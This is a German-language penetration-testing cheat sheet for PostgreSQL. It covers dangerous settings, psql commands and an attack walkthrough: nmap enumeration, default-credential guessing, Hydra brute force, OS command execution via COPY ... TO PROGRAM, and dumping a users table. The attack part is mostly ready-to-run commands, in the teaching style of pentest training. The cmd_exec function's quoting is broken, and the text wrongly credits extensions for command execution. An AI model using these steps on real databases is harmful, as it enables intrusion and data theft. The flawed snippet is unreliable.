5432 - PostgreSQL

Einführung

Typische Angriffspunkte:

  • Schwache Passwörter (Brute Force).

  • Offen zugängliche Datenbankservices (kein IP-Restricting).

  • SQL-Injection in Webanwendungen.

  • Übermäßig privilegierte Benutzer.


Gefährliche Einstellungen

  • trust-Authentifizierung: Ermöglicht Zugang ohne Passwort.

  • listen_addresses = '*': Erlaubt Verbindungen von allen Netzwerken.

  • log_statement = 'all': Kann sensible Daten im Log speichern.


Wichtige Befehle für PostgreSQL

\l                     - Listet alle Datenbanken auf.
\c <Datenbankname>     - Verbindet mit der angegebenen Datenbank.
\dt                    - Zeigt alle Tabellen im aktuellen Schema.
\d <Tabellenname>      - Zeigt die Struktur (Spalten, Datentypen) einer Tabelle.
\du                    - Listet alle Benutzer/Rollen und deren Rechte.
\conninfo              - Zeigt Informationen zur aktuellen Verbindung.
SELECT * FROM <Tabelle>; - Gibt alle Daten aus einer Tabelle aus.
CREATE USER <Benutzer> WITH PASSWORD '<Passwort>'; - Erstellt einen neuen Benutzer mit Passwort.
GRANT ALL PRIVILEGES ON DATABASE <Datenbank> TO <Benutzer>; - Erteilt einem Benutzer alle Rechte auf eine Datenbank.
SHOW log_directory;    - Zeigt das Verzeichnis der Server-Logs.
SHOW log_filename;     - Zeigt den Namen der aktuellen Logdatei.
SELECT version();      - Zeigt die PostgreSQL-Version und Systeminformationen.
SELECT * FROM pg_stat_activity; - Listet aktive Verbindungen zur Datenbank.


Schritt-für-Schritt Pentest

1. Enumeration

  1. Offene Ports und Version identifizieren:

$ nmap -p 5432 -sV <Ziel-IP>
PORT     STATE SERVICE  VERSION
5432/tcp open  postgresql PostgreSQL 12.4
  1. Anmelden mit Standardbenutzern: Versuche Standardbenutzer wie postgres ohne Passwort oder mit einfachen Passwörtern (postgres, 1234).

2. Exploitation

  1. Brute Force gegen PostgreSQL: Tools wie Hydra oder Medusa können verwendet werden:

    $ hydra -l postgres -P passlist.txt <Ziel-IP> -s 5432 postgres
    [5432][postgres] host: <Ziel-IP>   login: postgres   password: admin123
  2. Code Execution (Falls Superuser): PostgreSQL erlaubt die Ausführung von Befehlen über Extensions:

    postgres=# CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS void AS $$
               BEGIN
               EXECUTE 'COPY (SELECT '') TO PROGRAM ' || quote_literal($1);
               END;
               $$ LANGUAGE plpgsql;
    
    postgres=# SELECT cmd_exec('id');

3. Post-Exploitation

  • Daten exfiltrieren:

postgres=# \COPY (SELECT * FROM users) TO '/tmp/output.csv' CSV;
  • Systembefehle ausführen (bei Superuser-Rechten):

postgres=# COPY (SELECT '') TO PROGRAM 'whoami';

Nützliche Tools

  • pgcli: Alternativer Client mit Autovervollständigung und Syntaxhighlighting.

  • Metasploit: PostgreSQL-Login-Scanner.

  • Hydra/Medusa: Brute-Force-Tools für PostgreSQL.

Last updated